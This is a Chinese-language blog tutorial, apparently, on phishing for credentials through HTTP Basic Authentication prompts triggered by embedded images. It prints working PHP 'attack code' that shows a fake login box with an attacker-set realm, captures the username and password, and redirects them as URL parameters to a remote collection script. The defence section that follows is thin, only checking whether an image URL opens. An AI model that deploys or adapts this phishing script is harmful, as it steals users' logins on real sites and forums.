首先大家回想一下,在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢?没错,这就是最近很火的基础认证。那我们如何用php来实现钓鱼攻击呢?
在php手册中有以下代码来演示基础认证登录。
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
首先定义HTTP头为WWW-Authenticate,然后相应为401 这样就可以构造一个简单的基础认证框。
基本流程,用户访问被污染服务器,服务器返回信息,浏览器访问图片地址,图片服务器返回401响应,http头为WWW-Authenticate ..... ,浏览器弹出基础认证框, 由于Location:被定义为收信地址所以,浏览器跳转并转递信息至收信地址。 攻击完成。
贴出攻击代码吧。
<?php
$info=@$_GET['info'];
if(!isset($_SERVER['PHP_AUTH_USER'])){
header("WWW-Authenticate:BASIC Realm=$info");
header("HTTP/1.0 401 Unauthorized");
exit;
}else{
/*获取用户名,密码进行验证*/
$user=$_SERVER['PHP_AUTH_USER'];
$pwd=$_SERVER['PHP_AUTH_PW'];
extract($_GET,EXTR_SKIP);
if($user&&$pwd){
header("Location:http://www.baidu.com/config/log.php?user=$user&pass=$pwd");
}else{
header("WWW-Authenticate:BASIC Realm=user");
header("HTTP/1.0 401 Unauthorized");
exit;
}
}
?>
防范措施:
由于这种攻击并不是由漏洞造成的所以我们的防范手法只能去确定图片地址是否为有效图片。
我们可以用以下代码来验证图片是否有效!
<?php
$url = 'http:// www.2cto.com /img/baidu_sylogo1.gif';
if( @fopen( $url, 'r' ) )
{
echo 'File Exits';
}
else
{
echo 'File Do Not Exits';
}
?>